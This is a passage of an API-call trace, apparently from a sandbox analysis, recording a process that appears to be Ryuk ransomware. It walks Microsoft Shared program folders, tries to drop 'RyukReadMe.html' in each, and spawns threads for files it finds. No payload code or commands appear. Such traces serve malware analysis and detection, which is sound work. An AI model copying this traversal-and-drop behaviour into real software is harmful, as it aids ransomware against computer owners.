	[0168.097] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.097] GetLastError () returned 0x5
	[0168.097] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0168.097] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.098] FindNextFileW (in: hFindFile=0x79ce0, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="Web Folders", cAlternateFileName="WEBFOL~1")) returned 1
	[0168.098] SetLastError (dwErrCode=0x0) 
	[0168.098] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.098] GetLastError () returned 0x5
	[0168.098] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0168.098] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.098] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*.*", lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79bc0
	[0168.099] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0168.099] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0168.099] SetLastError (dwErrCode=0x0) 
	[0168.099] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.099] GetLastError () returned 0x5
	[0168.099] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0168.100] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.100] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x94, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0168.100] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x94, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0168.100] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x94, dwReserved1=0x0, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 1
	[0168.100] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x94, dwReserved1=0x0, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 0
	[0168.101] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0168.101] SetLastError (dwErrCode=0x0) 
	[0168.101] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\1033\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.101] GetLastError () returned 0x5
	[0168.101] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0168.101] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.101] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 1
	[0168.101] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 0
	[0168.102] FindClose (in: hFindFile=0x79bc0 | out: hFindFile=0x79bc0) returned 1
	[0168.102] SetLastError (dwErrCode=0x0) 
	[0168.102] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.102] GetLastError () returned 0x5
	[0168.102] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0168.102] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.103] FindNextFileW (in: hFindFile=0x79ce0, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1
	[0168.103] SetLastError (dwErrCode=0x0) 
	[0168.103] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.103] GetLastError () returned 0x5
	[0168.103] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0168.103] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.103] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*.*", lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79bc0
	[0168.104] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0168.104] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1
	[0168.104] SetLastError (dwErrCode=0x0) 
	[0168.104] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.104] GetLastError () returned 0x5
	[0168.104] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0168.105] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.105] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0168.105] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0168.105] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa8, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 1
	[0168.105] SetLastError (dwErrCode=0x0) 
	[0168.106] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.106] GetLastError () returned 0x5
	[0168.106] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0168.106] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.106] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*.*", lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a340
	[0168.108] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0168.108] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0168.108] SetLastError (dwErrCode=0x0) 
	[0168.108] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.109] GetLastError () returned 0x5
	[0168.109] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac078, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac078, lpOverlapped=0x0) returned 0
	[0168.109] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.109] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*.*", lpFindFileData=0x26aba00 | out: lpFindFileData=0x26aba00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb6, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a3a0
	[0168.110] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26aba00 | out: lpFindFileData=0x26aba00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0168.110] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26aba00 | out: lpFindFileData=0x26aba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x296a5, dwReserved0=0xb6, dwReserved1=0x0, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 1
	[0168.110] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86b0000
	[0168.111] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x960
	[0168.112] VirtualFree (lpAddress=0x86b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.112] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26aba00 | out: lpFindFileData=0x26aba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x296a5, dwReserved0=0xb6, dwReserved1=0x0, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 0
	[0168.112] FindClose (in: hFindFile=0x7a3a0 | out: hFindFile=0x7a3a0) returned 1
	[0168.113] SetLastError (dwErrCode=0x0) 
	[0168.113] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.113] GetLastError () returned 0x5
	[0168.113] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac078, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac078, lpOverlapped=0x0) returned 0
	[0168.113] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.113] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c366f00, ftCreationTime.dwHighDateTime=0x1cac0be, ftLastAccessTime.dwLowDateTime=0x6193ae30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c366f00, ftLastWriteTime.dwHighDateTime=0x1cac0be, nFileSizeHigh=0x0, nFileSizeLow=0x267d78, dwReserved0=0xae, dwReserved1=0x0, cFileName="FPSRVUTL.DLL", cAlternateFileName="")) returned 1
	[0168.113] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da56400, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xdb7fce60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1da56400, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x14cd90, dwReserved0=0xae, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 1
	[0168.113] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da56400, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xdb7fce60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1da56400, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x14cd90, dwReserved0=0xae, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 0
	[0168.114] FindClose (in: hFindFile=0x7a340 | out: hFindFile=0x7a340) returned 1
	[0168.114] SetLastError (dwErrCode=0x0) 
	[0168.114] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.114] GetLastError () returned 0x5
	[0168.114] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0168.114] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.115] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa8, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0
	[0168.115] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0168.115] SetLastError (dwErrCode=0x0) 
	[0168.115] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.115] GetLastError () returned 0x5
	[0168.115] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0168.116] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.116] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0
	[0168.116] FindClose (in: hFindFile=0x79bc0 | out: hFindFile=0x79bc0) returned 1
